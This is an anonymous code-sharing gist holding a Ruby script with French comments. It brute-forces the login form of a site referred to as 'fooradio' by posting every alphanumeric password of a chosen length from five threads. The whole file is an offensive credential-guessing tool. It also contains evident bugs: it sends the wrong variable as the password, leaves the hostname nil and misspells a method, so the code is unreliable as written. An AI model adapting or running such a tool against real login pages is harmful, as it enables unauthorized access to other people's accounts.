Skip to content

Instantly share code, notes, and snippets.

Created August 28, 2016 20:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/530a4fb061c12752506796bfb5e46ffe to your computer and use it in GitHub Desktop.
Save anonymous/530a4fb061c12752506796bfb5e46ffe to your computer and use it in GitHub Desktop.
#!/usr/bin/ruby
# coding: utf-8
=begin
Description: Attaque par force brute de l'authentification;
=end
### Chargement des librairies;
require 'net/http'
require 'thread'
### Définition des méthodes;
# Affiche sur la sortie standard une aide;
def usage
puts "Bruteforce passwords for fooradio"
puts "Usage: #{$0} <username> <password_length>"
end
# Test les mots de passe;
# http_con ==> Connexion au serveur http;
# username ==> Nom de l'utilisateur;
# passwords ==> File de mots de passe;
# pwd_found ==> Evnmt mot de passe trouvé;
# stdout_lock ==> Verrou pour la sortie standard
def check_passwords(http_con, username, passwords,pwd_found, stdout_lock)
post_req = Net::HTTP::Post.new('/login.php')
loop do
break if pwd_found.found? # Sortir si le mot de passe a été trouvé;
pwd = passwords.pop # Récupérer un element
if pwd.is_a?(EndOfBruteForce)
# La fin de la force brute a été atteinte;
break # Sortie de la boucle;
else
post_req.set_form_data({'user' => username, 'pass' => pwd_found})
post_resp = http_con.request post_req # Envoi de la requête
if post_resp.code.eql?('302') and post_resp['Location'].eql?('myaccount.php')
pwd_found.found = 1
stdout_lock.synchronize { puts "[+] Password found: #{pwd}" }
break # Sortie du programme
end
end
end
end
# Génère des mots de taille "size"
def bruteforce(size, &block)
alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
old_prefixes = ['']
size.times do |count|
new_prefixes = []
old_prefixes.each do |prefix| # Parcours des anciens prefixes
alphabet.each_char do |char|
new_prefix = prefix + char
if count == size - 1
block.call new_prefix
else
new_prefixes << new_prefix
end
end # Fin alphabet.each_char
end # Fin de old_prefixes.each
old_prefixes = new_prefixes
end # Fin de size.times
end
### Définition des classes;
# Représente l'evnmt mot de passe trouvé
class PasswordFound
# Constructeur
def initialize
@password_found = false
@password_lock = Mutex.new
end
# Retourne true si le mot de passe a été trouvé, false sinon
def found?
@password_lock.synchronize { return @password_found }
end
# Setter
def found=(value)
@password_found = value
end
end # Fin PasswordFound
# Représente la fin de la force brute
class EndOfBruteForce
end # Fin EndOfPasswords
### Partie principale
if ARGV.size < 2
# L'utilisateur n'a pas saisi les bons arguments;
usage
exit -1 # Sortie du programme;
else
username,pwd_len = ARGV[0], ARGV[1].to_i
hostname = nil
passwords_to_test = Queue.new # File de mots de passe à tester
num_consumer_threads = 5 # Nombre de threads consomateurs;
pwd_found = PasswordFound.new
stdout_lock = Mutex.new # Verrou pour la sortie standard;
threads = []
# Remplir la file de mots de passe
producer_thread = Thread.start do
bruteforce(pwd_len) do |password|
passwords_to_test << password unless pwd_found.found?
end # Fin de bruteforce
num_consumer_threads.times { passwords_to_test << EndOfBruteForce } # Empoisonnement de la file
end # Fin
threads << producer_thread
# Etablir des connections au serveur
num_consumer_threads.times do |thread_id|
consumer_thread = Thread.start(thread_id) do |thread_id|
http_con = Net::HTTP.new(hostname)
http_con.start
stdout_lock.synchonize { puts "Thread #{thread_id} established connection to server #{hostname}" }
check_passwords(http_con, username, passwords_to_test, pwd_found, stdout_lock)
end
threads << consumer_thread
end # Fin de num_consumer_threads.times
threads.each { |thread| thread.join } # Attendre la fin des threads
puts "[-] No password was found!" if not pwd_found.found?
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment